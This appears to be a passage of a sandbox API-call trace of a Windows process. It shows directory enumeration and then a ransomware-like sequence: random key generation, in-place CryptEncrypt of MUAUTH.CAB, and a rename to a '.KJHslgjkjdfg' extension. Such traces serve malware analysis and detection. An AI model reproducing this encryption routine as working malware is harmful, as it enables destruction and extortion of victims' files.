cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0169.431] CloseHandle (hObject=0x118) returned 1 [0169.432] GetFileType (hFile=0x114) returned 0x1 [0169.432] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.432] CloseHandle (hObject=0x114) returned 1 [0169.432] GetFileType (hFile=0x118) returned 0x1 [0169.432] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0169.433] CloseHandle (hObject=0x118) returned 1 [0169.433] GetFileType (hFile=0x114) returned 0x1 [0169.433] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.433] CloseHandle (hObject=0x114) returned 1 [0169.434] GetFileType (hFile=0x118) returned 0x1 [0169.434] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0169.434] CloseHandle (hObject=0x118) returned 1 [0169.434] GetFileType (hFile=0x114) returned 0x1 [0169.434] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.435] CloseHandle (hObject=0x114) returned 1 [0169.435] GetFileType (hFile=0x118) returned 0x1 [0169.435] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0169.435] CloseHandle (hObject=0x118) returned 1 [0169.435] GetFileType (hFile=0x114) returned 0x1 [0169.436] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.436] CloseHandle (hObject=0x114) returned 1 [0169.436] GetFileType (hFile=0x118) returned 0x1 [0169.436] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0169.437] CloseHandle (hObject=0x118) returned 1 [0169.437] GetFileType (hFile=0x114) returned 0x1 [0169.437] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.437] CloseHandle (hObject=0x114) returned 1 [0169.438] GetFileType (hFile=0x118) returned 0x1 [0169.438] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0169.438] CloseHandle (hObject=0x118) returned 1 [0169.438] GetFileType (hFile=0x114) returned 0x1 [0169.438] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.439] CloseHandle (hObject=0x114) returned 1 [0169.439] GetFileType (hFile=0x118) returned 0x1 [0169.439] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0169.439] CloseHandle (hObject=0x118) returned 1 [0169.440] GetFileType (hFile=0x114) returned 0x1 [0169.440] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.441] CloseHandle (hObject=0x114) returned 1 [0169.441] GetFileType (hFile=0x118) returned 0x1 [0169.441] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0169.442] CloseHandle (hObject=0x118) returned 1 [0169.442] GetFileType (hFile=0x114) returned 0x1 [0169.442] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.442] CloseHandle (hObject=0x114) returned 1 [0169.443] GetFileType (hFile=0x118) returned 0x1 [0169.443] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0169.443] CloseHandle (hObject=0x118) returned 1 [0169.443] GetFileType (hFile=0x114) returned 0x1 [0169.443] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.444] CloseHandle (hObject=0x114) returned 1 [0169.444] GetFileType (hFile=0x118) returned 0x1 [0169.444] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0169.444] CloseHandle (hObject=0x118) returned 1 [0169.445] GetFileType (hFile=0x114) returned 0x1 [0169.445] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.445] CloseHandle (hObject=0x114) returned 1 [0169.445] GetFileType (hFile=0x118) returned 0x1 [0169.445] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0169.446] CloseHandle (hObject=0x118) returned 1 [0169.446] GetFileType (hFile=0x114) returned 0x1 [0169.446] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.447] CloseHandle (hObject=0x114) returned 1 [0169.447] GetFileType (hFile=0x118) returned 0x1 [0169.447] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0169.447] CloseHandle (hObject=0x118) returned 1 [0169.447] GetFileType (hFile=0x114) returned 0x1 [0169.447] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.448] CloseHandle (hObject=0x114) returned 1 [0169.448] GetFileType (hFile=0x118) returned 0x1 [0169.448] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0169.449] CloseHandle (hObject=0x118) returned 1 [0169.449] GetFileType (hFile=0x114) returned 0x1 [0169.449] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.450] CloseHandle (hObject=0x114) returned 1 [0169.450] GetFileType (hFile=0x118) returned 0x1 [0169.450] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0169.450] CloseHandle (hObject=0x118) returned 1 [0169.450] GetFileType (hFile=0x114) returned 0x1 [0169.450] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.451] CloseHandle (hObject=0x114) returned 1 [0169.451] GetFileType (hFile=0x118) returned 0x1 [0169.451] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0169.452] CloseHandle (hObject=0x118) returned 1 [0169.452] GetFileType (hFile=0x114) returned 0x1 [0169.452] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.452] CloseHandle (hObject=0x114) returned 1 [0169.452] GetFileType (hFile=0x118) returned 0x1 [0169.452] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0169.453] CloseHandle (hObject=0x118) returned 1 [0169.453] GetFileType (hFile=0x114) returned 0x1 [0169.453] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0169.454] CloseHandle (hObject=0x114) returned 1 [0169.454] GetFileType (hFile=0x118) returned 0x1 [0169.454] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.454] CloseHandle (hObject=0x118) returned 1 [0169.455] GetFileType (hFile=0x114) returned 0x1 [0169.455] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0169.455] CloseHandle (hObject=0x114) returned 1 [0169.455] GetFileType (hFile=0x118) returned 0x1 [0169.456] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0169.456] CloseHandle (hObject=0x118) returned 1 [0169.456] GetFileType (hFile=0x114) returned 0x1 [0169.456] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0169.457] CloseHandle (hObject=0x114) returned 1 [0169.457] GetProcessHeap () returned 0x2ef0000 [0169.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x4e00020 | out: hHeap=0x2ef0000) returned 1 [0169.459] Sleep (dwMilliseconds=0xa) [0169.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.471] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0169.471] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0169.472] GetProcessHeap () returned 0x2ef0000 [0169.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0169.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0169.474] GetProcessHeap () returned 0x2ef0000 [0169.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.474] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0169.474] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0169.476] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0169.476] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.476] GetProcessHeap () returned 0x2ef0000 [0169.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0169.476] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0169.476] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0169.477] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0169.477] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0169.477] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0169.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0169.477] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0169.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0169.477] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.477] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a5b, lpOverlapped=0x0) returned 1 [0169.478] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60) returned 1 [0169.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.478] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a60, lpOverlapped=0x0) returned 1 [0169.479] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0169.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.479] SetEndOfFile (hFile=0xf0) returned 1 [0169.480] GetProcessHeap () returned 0x2ef0000 [0169.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.480] GetProcessHeap () returned 0x2ef0000 [0169.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.kjhslgjkjdfg")) returned 1 [0169.482] CloseHandle (hObject=0xf0) returned 1 [0169.489] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: 